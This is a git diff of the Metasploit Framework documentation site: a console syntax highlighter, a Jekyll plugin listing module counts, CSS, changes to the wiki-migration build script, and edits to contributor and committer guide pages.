token :Status, "#{SHORTNAME}s"
# [!]
token :Warning, "#{SHORTNAME}w"
end
end
module Lexers
class MetasploitConsoleLanguage < Rouge::RegexLexer
title 'msf'
tag 'msf'
desc 'Metasploit console highlighter'
filenames []
mimetypes []
def self.keywords
@keywords ||= Set.new %w()
end
state :whitespace do
rule %r/\s+/, Text
end
state :root do
mixin :whitespace
# Match msf, msf5, msf6, meterpreter
rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
rule %r{^\[-\]}, Tokens::Msf::Error
rule %r{^\[\+\]}, Tokens::Msf::Good
rule %r{^\[\*\]}, Tokens::Msf::Status
rule %r{^\[\!\]}, Tokens::Msf::Warning
rule %r{.+}, Text
end
# State for highlighting the prompt such as
# msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
state :msf_prompt do
mixin :whitespace
rule %r{exploit|payload|auxiliary|encoder|evasion|post|nop}, Text
rule %r{\(}, Punctuation
rule %r{\)}, Punctuation
rule %r{[\w/]+}, Keyword::Constant
rule %r{>}, Punctuation, :pop!
end
end
end
end
+159
View File
@@ -0,0 +1,159 @@
require 'jekyll'
require 'json'
require 'pathname'
#
# Helper class for extracting information related to Metasploit framework's stats
#
class MetasploitStats
def total_module_count
modules.length
end
# @return [Hash<String, Integer>] A map of module type to the amount of modules
def module_counts
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
module_counts_by_type
end
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
def nested_module_counts
create_nested_module_counts(modules)
end
protected
# @param [Array<Hash>] modules
# @param [String] parent_path The parent path to track the nesting depth when called recursively
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
def create_nested_module_counts(modules, parent_path = '')
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
remaining_paths[0]
end.sort.to_h
top_level_buckets.map do |(prefix, children)|
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
mod = modules_by_fullname[current_path]
{
name: prefix,
total: children.count,
module_fullname: mod ? mod['fullname'] : nil,
module_path: mod ? mod['path'] : nil,
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
}
end
end
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
def modules
return @modules if @modules
module_metadata_path = '../db/modules_metadata_base.json'
unless File.exist?(module_metadata_path)
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
end
@modules = JSON.parse(File.binread(module_metadata_path)).values
@modules
end
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
def modules_by_fullname
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
fullname = mod['fullname']
hash[fullname] = mod
end
end
end
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
#
# Intended usage:
# {{ site.metasploit_nested_module_counts | module_tree }}
module ModuleFilter
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The module tree HTML representation of the given modules
def module_tree(modules, title = 'Modules', show_controls = false)
rendered_children = render_modules(modules)
controls = <<~EOF
<div class="module-controls">
<span><a href="#" data-expand-all>Expand All</a></span>
<span><a href="#" data-collapse-all>Collapse All</a></span>
</div>
EOF
<<~EOF
<div class="module-list">
#{show_controls ? controls : ''}
<ul class="module-structure">
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
<ul class="open">
#{rendered_children}
</ul>
</li>
</ul>
</div>
EOF
end
module_function
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The rendered tree HTML representation of the given modules
def render_modules(modules)
modules.map do |mod|
classes = render_child_modules?(mod) ? ' class="folder"' : ''
result = "<li#{classes}>#{heading_for_mod(mod)}"
if render_child_modules?(mod)
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
end
result += "</li>"
result
end.join("\n")
end
# @param [Hash] mod The module metadata object
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
def heading_for_mod(mod)
if render_child_modules?(mod)
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
else
config = Jekyll.sites.first.config
# Preference linking to module documentation over the module implementation
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
end
end
# @param [Hash] mod The module metadata object
# @return [TrueClass, FalseClass]
def render_child_modules?(mod)
mod[:children].length >= 1 && mod[:module_path].nil?
end
end
# Register the Liquid filter so any Jekyll page can render module information
Liquid::Template.register_filter(ModuleFilter)
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
Jekyll::Hooks.register :site, :after_init do |site|
begin
Jekyll.logger.info 'Calculating module stats'
metasploit_stats = MetasploitStats.new
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
Jekyll.logger.info 'Finished calculating module stats'
rescue
Jekyll.logger.error "Unable to to extractMetasploit stats"
raise
end
end
+133
View File
@@ -0,0 +1,133 @@
---
---
#main-content p {
text-align: justify;
}
/* Color highlighting for msf console text */
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
/* Module overview styles */
.module-structure li::before {
content: ' ' !important;
}
.module-structure a {
height: 100%;
padding: 0.2rem;
background-image: none;
overflow: initial;
display: inline-block;
width: 90%;
}
.module-controls {
line-height: 0;
border-bottom: 1px solid #ddd;
}
.module-controls a {
line-height: 1;
padding: 0.5rem;
display: inline-block;
}
.module-controls span {
display: inline-block;
}
.module-structure a, .module-structure a:hover {
background-image: none;
}
.module-structure a .target {
pointer-events: none;
display: inline-block;
text-decoration: none;
}
.module-structure a:hover .target {
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
background-repeat: repeat-x;
background-position: 0 100%;
background-size: 1px 1px;
}
.module-structure {
line-height: 2rem;
}
/* visual indentation lines */
.module-structure ul {
margin-left: 7px !important;
padding-left: 20px !important;
border-left: 1px dashed #d1d7de;
}
/* Never allow the top-most files/folders to be collapsed */
.module-structure > li.folder > ul {
display: block;
}
.module-structure li p {
margin: 0;
}
.module-structure li {
margin: 0;
list-style: none;
}
.module-structure ul {
display: none;
margin: 0;
}
.module-structure ul.open {
display: block;
}
/* Default li style - files */
.module-structure li::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
background-repeat: no-repeat;
width: 1rem;
height: 1rem;
background-position: center top;
background-size: 90% auto;
margin-top: 0;
vertical-align: middle;
margin-left: initial !important;
margin-right: 0.5rem !important;
display: inline-block !important;
position: initial !important;
}
/* li style - folders */
.module-structure li.folder::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
}
+171 -29
View File
@@ -2,22 +2,26 @@ require 'fileutils'
require 'uri'
require 'open3'
require 'optparse'
require 'did_you_mean'
require 'kramdown'
require_relative './navigation'
# Temporary build module to help migrate and build the Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll, as well as creating a hierarchical folder structure for nested documentation
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
#
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
# for nested documentation. This configuration is defined in `navigation.rb`
#
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
#
# For now the doc folder only contains the key files for building the docs site and no content. The content is created on demand
# from the metasploit-framework wiki on each build
#
# In the future, the markdown files will be committed directly to the metasploit-framework directory, the wiki history will be
# merged with metasploit-framework, and the old wiki will no longer be updated.
# from the `metasploit-framework.wiki` folder on each build
module Build
# The metasploit-framework.wiki files that are committed to Metasploit framework's repository
WIKI_PATH = 'metasploit-framework.wiki'.freeze
# A locally cloned version of https://github.com/rapid7/metasploit-framework/wiki
# A locally cloned version of https://github.com/rapid7/metasploit-framework/wiki - should no longer be required for normal workflows
OLD_WIKI_PATH = 'metasploit-framework.wiki.old'.freeze
PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze
RELEASE_BUILD_ARTIFACTS = '_site'.freeze
# For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files
# for each build. This allows changes to be made to the existing wiki until it's migrated
@@ -46,13 +50,18 @@ module Build
def validate!
configured_paths = all_file_paths
missing_paths = available_paths.map { |path| path.gsub("#{WIKI_PATH}/", '') } - ignored_paths - existing_docs - configured_paths
raise ConfigValidationError, "Unhandled paths #{missing_paths.join(', ')}" if missing_paths.any?
raise ConfigValidationError, "Unhandled paths #{missing_paths.join(', ')} - add navigation entries to navigation.rb for these files" if missing_paths.any?
each do |page|
page_keys = page.keys
allowed_keys = %i[old_wiki_path path new_base_name nav_order title new_path folder children has_children parents]
invalid_keys = page_keys - allowed_keys
raise ConfigValidationError, "#{page} had invalid keys #{invalid_keys.join(', ')}" if invalid_keys.any?
suggestion = DidYouMean::SpellChecker.new(dictionary: allowed_keys).correct(invalid_keys[0]).first
error = "#{page} had invalid keys #{invalid_keys.join(', ')}."
error += " Did you mean #{suggestion}?" if suggestion
raise ConfigValidationError, error if invalid_keys.any?
end
# Ensure unique folder names
@@ -150,6 +159,10 @@ module Build
@links = {}
end
def syntax_errors_for(markdown)
MarkdownLinkSyntaxVerifier.errors_for(markdown)
end
def extract(markdown)
extracted_absolute_wiki_links = extract_absolute_wiki_links(markdown)
@links = @links.merge(extracted_absolute_wiki_links)
@@ -179,16 +192,22 @@ module Build
@config.enum_for(:each).map { |page| page }
end
# scans for absolute links to the old wiki such as 'https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service'
# scans for absolute links to the old wiki such as 'https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html'
def extract_absolute_wiki_links(markdown)
new_links = {}
markdown.scan(%r{(https?://github.com/rapid7/metasploit-framework/wiki/([\w().%_-]+))}) do |full_match, old_path|
markdown.scan(%r{(https?://github.com/rapid7/metasploit-framework/wiki/([\w().%_#-]+))}) do |full_match, old_path|
full_match = full_match.gsub(/[).]+$/, '')
old_path = URI.decode_www_form_component(old_path.gsub(/[).]+$/, ''))
new_path = new_path_for(old_path)
replacement = "{% link docs/#{new_path} %}"
begin
old_path_anchor = URI.parse(old_path).fragment
rescue URI::InvalidURIError
old_path_anchor = nil
end
new_path = new_path_for(old_path, old_path_anchor)
replacement = "{% link docs/#{new_path} %}#{old_path_anchor ? "##{old_path_anchor}" : ""}"
link = {
full_match: full_match,
@@ -208,18 +227,26 @@ module Build
# '[[Custom name|Relative Path]]'
# '[[Custom name|relative-path]]'
# '[[Custom name|./relative-path.md]]'
# '[[Custom name|./relative-path.md#section-anchor-to-link-to]]'
# Note that the page target resource file is validated for existence at build time - but the section anchors are not
def extract_relative_links(markdown)
existing_links = @links
new_links = {}
markdown.scan(/(\[\[([\w\/_ '().:,-]+)(?:\|([\w\/_ '():,.-]+))?\]\])/) do |full_match, left, right|
markdown.scan(/(\[\[([\w\/_ '().:,-]+)(?:\|([\w\/_ '():,.#-]+))?\]\])/) do |full_match, left, right|
old_path = (right || left)
new_path = new_path_for(old_path)
begin
old_path_anchor = URI.parse(old_path).fragment
rescue URI::InvalidURIError
old_path_anchor = nil
end
new_path = new_path_for(old_path, old_path_anchor)
if existing_links[full_match] && existing_links[full_match][:new_path] != new_path
raise "Link for #{full_match} previously resolved to #{existing_links[full_match][:new_path]}, but now resolves to #{new_path}"
end
link_text = left
replacement = "[#{link_text}]({% link docs/#{new_path} %})"
replacement = "[#{link_text}]({% link docs/#{new_path} %}#{old_path_anchor ? "##{old_path_anchor}" : ""})"
link = {
full_match: full_match,
@@ -236,18 +263,39 @@ module Build
new_links
end
def new_path_for(old_path)
old_path = old_path.gsub(' ', '-')
def new_path_for(old_path, old_path_anchor)
# Strip out any leading `./` or `/` before the relative path.
# This is needed for our later code that does additional filtering for
# potential ambiguity with absolute paths since those comparisons occur
# against filenames without the leading ./ and / parts.
old_path = old_path.gsub(/^[.\/]+/, '')
# Replace any spaces in the file name with - separators, then
# make replace anchors with an empty string.
old_path = old_path.gsub(' ', '-').gsub("##{old_path_anchor}", '')
matched_pages = pages.select do |page|
!page[:folder] &&
(File.basename(page[:path]).downcase == "#{File.basename(old_path)}.md".downcase ||
File.basename(page[:path]).downcase == "#{File.basename(old_path)}".downcase)
end
if matched_pages.empty?
raise "Missing path for #{old_path}"
raise "Link not found: #{old_path}"
end
# Additional filter for absolute paths if there's potential ambiguity
if matched_pages.count > 1
raise "Duplicate paths for #{old_path}"
refined_pages = matched_pages.select do |page|
!page[:folder] &&
(page[:path].downcase == "#{old_path}.md".downcase ||
page[:path].downcase == old_path.downcase)
end
if refined_pages.count != 1
page_paths = matched_pages.map { |page| page[:path] }
raise "Duplicate paths for #{old_path} - possible page paths found: #{page_paths}"
end
matched_pages = refined_pages
end
matched_pages.first.fetch(:new_path)
@@ -276,7 +324,11 @@ module Build
'@zeroSteiner',
'@harmj0y',
]
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
ignored_tags = [
'@spid',
'@adf3',
'@LDAP-DC3',
'@harmj0yDescription',
'@phpsessid',
'@http_client',
@@ -320,6 +372,68 @@ module Build
end
end
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
#
# Example bad: `[Human readable text](./some-documentation-link)`
# Example good: `[[Human readable text|./some-documentation-link]]`
class MarkdownLinkSyntaxVerifier
# Detects the usage of bad syntax and returns an array of detected errors
#
# @param [String] markdown The markdown
# @return [Array<String>] An array of human readable errors that should be resolved
def self.errors_for(markdown)
document = Kramdown::Document.new(markdown)
document.to_validated_wiki_page
warnings = document.warnings.select { |warning| warning.start_with?(Kramdown::Converter::ValidatedWikiPage::WARNING_PREFIX) }
warnings
end
# Implementation detail: There doesn't seem to be a generic AST visitor pattern library for Ruby; We instead implement
# Kramdown's Markdown to HTML Converter API, override the link converter method, and warn on any invalid links that are identified.
# The {MarkdownLinkVerifier} will ignore the HTML result, and return any detected errors instead.
#
# https://kramdown.gettalong.org/rdoc/Kramdown/Converter/Html.html
class Kramdown::Converter::ValidatedWikiPage < Kramdown::Converter::Html
WARNING_PREFIX = '[WikiLinkValidation]'
def convert_a(el, indent)
link_href = el.attr['href']
if relative_link?(link_href)
link_text = el.children.map { |child| convert(child) }.join
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
end
if absolute_docs_link?(link_href)
begin
example_path = ".#{URI.parse(link_href).path}"
rescue URI::InvalidURIError
example_path = "./path-to-markdown-file"
end
link_text = el.children.map { |child| convert(child) }.join
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
end
super
end
private
def warning(text)
super "#{WARNING_PREFIX} #{text}"
end
def relative_link?(link_path)
!(link_path.start_with?('http:') || link_path.start_with?('https:') || link_path.start_with?('mailto:') || link_path.start_with?('#'))
end
# @return [TrueClass, FalseClass] True if the link is to a Metasploit docs page that isn't either the root home page or the API site, otherwise false
def absolute_docs_link?(link_path)
link_path.include?('docs.metasploit.com') && !link_path.include?('docs.metasploit.com/api') && !(link_path == 'https://docs.metasploit.com/')
end
end
end
# Parses a wiki page and can add/remove/update a deprecation notice
class WikiDeprecationText
MAINTAINER_MESSAGE_PREFIX = "<!-- Maintainers: "
@@ -368,7 +482,8 @@ module Build
**page.slice(:title, :has_children, :nav_order),
parent: (page[:parents][-1] || {})[:title],
warning: "Do not modify this file directly. Please modify metasploit-framework/docs/metasploit-framework.wiki instead",
old_path: page[:path] ? File.join(WIKI_PATH, page[:path]) : "none - folder automatically generated"
old_path: page[:path] ? File.join(WIKI_PATH, page[:path]) : "none - folder automatically generated",
has_content: !page[:path].nil?
}.compact
page_config[:has_children] = true if page[:has_children]
@@ -382,7 +497,7 @@ module Build
new_path = File.join(result_folder, page[:new_path])
FileUtils.mkdir_p(File.dirname(new_path))
if page[:folder]
if page[:folder] && page[:path].nil?
new_docs_content = preamble.rstrip + "\n"
else
old_path = File.join(WIKI_PATH, page[:path])
@@ -413,19 +528,31 @@ module Build
def link_corrector_for(config)
link_corrector = LinkCorrector.new(config)
errors = []
config.each do |page|
unless page[:folder]
unless page[:path].nil?
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
syntax_errors = link_corrector.syntax_errors_for(content)
errors << { path: page[:path], messages: syntax_errors } if syntax_errors.any?
link_corrector.extract(content)
end
end
if errors.any?
errors.each do |error|
$stderr.puts "[!] Error #{File.join(WIKI_PATH, error[:path])}:\n#{error[:messages].map { |message| "\t- #{message}\n" }.join}"
end
raise "Errors found in markdown syntax"
end
link_corrector
end
end
# Serve the production build at http://127.0.0.1:4000/metasploit-framework/
class ProductionServer
# Serve the release build at http://127.0.0.1:4000/metasploit-framework/
class ReleaseBuildServer
autoload :WEBrick, 'webrick'
def self.run
@@ -434,7 +561,7 @@ module Build
Port: 4000
}
)
server.mount('/', WEBrick::HTTPServlet::FileHandler, PRODUCTION_BUILD_ARTIFACTS)
server.mount('/', WEBrick::HTTPServlet::FileHandler, RELEASE_BUILD_ARTIFACTS)
trap('INT') do
server.shutdown
rescue StandardError
@@ -539,11 +666,18 @@ module Build
end
if options[:production]
FileUtils.remove_dir(PRODUCTION_BUILD_ARTIFACTS, true)
FileUtils.remove_dir(RELEASE_BUILD_ARTIFACTS, true)
run_command('JEKYLL_ENV=production bundle exec jekyll build')
if options[:serve]
ProductionServer.run
ReleaseBuildServer.run
end
elsif options[:staging]
FileUtils.remove_dir(RELEASE_BUILD_ARTIFACTS, true)
run_command('JEKYLL_ENV=production bundle exec jekyll build --config _config.yml,_config_staging.yml')
if options[:serve]
ReleaseBuildServer.run
end
elsif options[:serve]
run_command('bundle exec jekyll serve --config _config.yml,_config_development.yml --incremental')
@@ -567,6 +701,10 @@ if $PROGRAM_NAME == __FILE__
options[:production] = production
end
opts.on('--staging', 'Run a staging build for deploying to gh-pages') do |staging|
options[:staging] = staging
end
opts.on('--serve', 'serve the docs site') do |serve|
options[:serve] = serve
end
@@ -590,6 +728,10 @@ if $PROGRAM_NAME == __FILE__
options[:create_wiki_to_framework_migration_branch] = true
end
end
if ARGV.length == 0
puts options_parser.help
exit 1
end
options_parser.parse!
Build.run(options)
+1 -1
View File
@@ -1,3 +1,3 @@
View the latest API docs at:
[https://rapid7.github.io/metasploit-framework/api/](https://rapid7.github.io/metasploit-framework/api/)
[https://docs.metasploit.com/api/](https://docs.metasploit.com/api/)
@@ -1,12 +1,10 @@
This page lists the keys in use by [Metasploit committers][msf-committers] and
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
# Keybase.io identities
Keybase.io is used by Metasploit as an easy way to verify identities of committers. If you're a committer on metasploit-framework, and you need an invite, just ask.
<sup>Altering this table's layout will almost certainly break [import-dev-keys.sh](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/import-dev-keys.sh), so please don't.</sup>
| Github Username | Keybase.io Username |
| ------------------------------------------------- | -------------------------------------------------- |
| [@adfoster-r7](https://github.com/adfoster-r7) | [adfosterr7](https://keybase.io/adfosterr7) |
@@ -78,7 +76,7 @@ Please select what kind of key you want:
(4) RSA (sign only)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
@@ -96,7 +94,7 @@ from the Real Name, Comment and Email Address in this form:
Real name: Dade Murphy
Email address: dmurphy@thegibson.example
Comment:
Comment:
You selected this USER-ID:
"Dade Murphy <dmurphy@thegibson.example>"
@@ -120,7 +118,6 @@ Enter passphrase: [...]
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
[msf-committers]:https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
[tracking]:https://github.com/keybase/keybase-issues/issues/100
@@ -2,7 +2,7 @@
The term "Metasploit Committers" describes people who have direct write access to the [Rapid7 Metasploit-Framework fork](https://github.com/rapid7/metasploit-framework). These are the people who can land changes to this main fork of the Framework. However, it is not necessary to have committer rights in order to contribute to Metasploit. Much of our code comes from non-committers.
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) setup guide.
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] setup guide.
Metasploit committers are a mix of [Rapid7](http://rapid7.com) employees and outside contributors. Anyone can become a contributor, with the following expectations:
@@ -24,7 +24,7 @@ If you reject a pull request, be clear in the pull request why it was rejected,
Even if someone else approves of a pull request, and it is shown to be broken later, then it is still your responsibility to correct it. Make every effort to get a fix or revert in as soon as possible, whether you wrote the code, landed it, or approved it. Blame is shared equally.
A list of committer public keys [is here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
A list of committer public keys [[is here|./Committer-Keys.md]].
# How to Gain Commit Rights
@@ -45,7 +45,7 @@ Breaches of trust in terms of malicious or malformed code, or the demonstration
# Useful Links for Committers
* [http://r-7.co/MSF-DEV](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) is pretty much required reading.
* [[Setting Up a Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] is pretty much required reading.
* So is [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md)
* Check out the Apache Software Foundation's [Guide for Committers](https://www.apache.org/dev/committers). It's illuminating.
* [Producing Open Source Software](http://www.producingoss.com/gl/) by Ken Fogel is a must-read.
@@ -358,7 +358,6 @@ Pulling it all together, we get a new `ftp_login` module that looks something li
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
@@ -472,4 +471,4 @@ class Metasploit3 < Msf::Auxiliary
end
end
end
```
```
@@ -6,13 +6,13 @@ whilst also avoiding some common pitfalls and learning how some of our systems w
## Initial Steps and Important Notes
The rest of this guide assumes you have already followed the steps at [Setting Up A Developer Environment](https://r-7.co/MSF-DEV) in order to get
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
set up Ruby and optionally the PostgreSQL database, and done any custom shortcuts you wish to configure.
## Getting the Latest Version of Metasploit Framework
Before making any new contributions, you will want to sure you are running the latest version of Metasploit Framework.
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
Rapid7 remote, aka Rapid7's copy of the code. You can verify that `upstream` is set correctly by running `git remote get-url upstream`
and verifying it is set to `git@github.com:rapid7/metasploit-framework.git`.
@@ -51,13 +51,13 @@ done when the code is ready to be landed into Metasploit Framework to help make
## Checking for Code Errors
Before code can be accepted into Metasploit Framework, it must also pass our RuboCop and MsfTidy rules. These help ensure that
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
from the root of wherever you cloned your fork of Metasploit Framework to on disk, run `rubocop <path to your module from current directory>`.
Specifying the `-a` parameter will ask RuboCop to check your module and if possible fix any issues that RuboCop is able to fix.
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
want, but it should mention RuboCop as it helps maintainers know what the commit is related to.
As a good practice rule, you should always separate your commits that contain RuboCop changes from those that contain non-RuboCop related changes.
@@ -71,8 +71,8 @@ against your module code (if applicable), using `tools/dev/msftidy.rb <path to m
if your module passed the tests. Try and fix any errors mentioned here.
## Writing Documentation
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
on how to write module documentation at [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html).
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
on how to write module documentation at [[Writing Module Documentation|./Writing-Module-Documentation.md]].
In general when writing documentation you will want to search for a similar documentation file under the `documentation`
folder located in the root of the Metasploit fork. You can then copy one of these files and use it as the basis for writing
@@ -91,15 +91,15 @@ these may be okay to ignore depending on the context. A good example is if a lin
safely ignored.
## Submitting Your Changes and Opening a PR
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
branch's remote URL using `git remote get-url origin`. It should look something like `git@github.com:gwillcox-r7/metasploit-framework`
with `gwillcox-r7` substituted for your username.
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
start working with more complex situations. Note that if the branch pointing to your copy of the code is not named `origin`,
replace the word `origin` in the command above with the name of the branch that does point to your copy of the code.
@@ -114,10 +114,10 @@ Compressing objects: 100% (8/8), done.
Writing objects: 100% (8/8), 1.55 KiB | 1.55 MiB/s, done.
Total 8 (delta 7), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (7/7), completed with 7 local objects.
remote:
remote:
remote: Create a pull request for 'update_mssql_lib_parameters' on GitHub by visiting:
remote: https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters
remote:
remote:
To github.com:gwillcox-r7/metasploit-framework
* [new branch] update_mssql_lib_parameters -> update_mssql_lib_parameters
```
@@ -46,13 +46,13 @@ Any user of Metasploit will tell you that they know what `LHOST` and `LPORT` mea
A **handler** obviously needs to listen on a host/IP for the incoming connection. In cases where the `LHOST` value, for example the address that the target is able to reach, is the same as that which the host can listen on, no extra work has to be done. The `LHOST` value is used by the handler.
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindHost`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
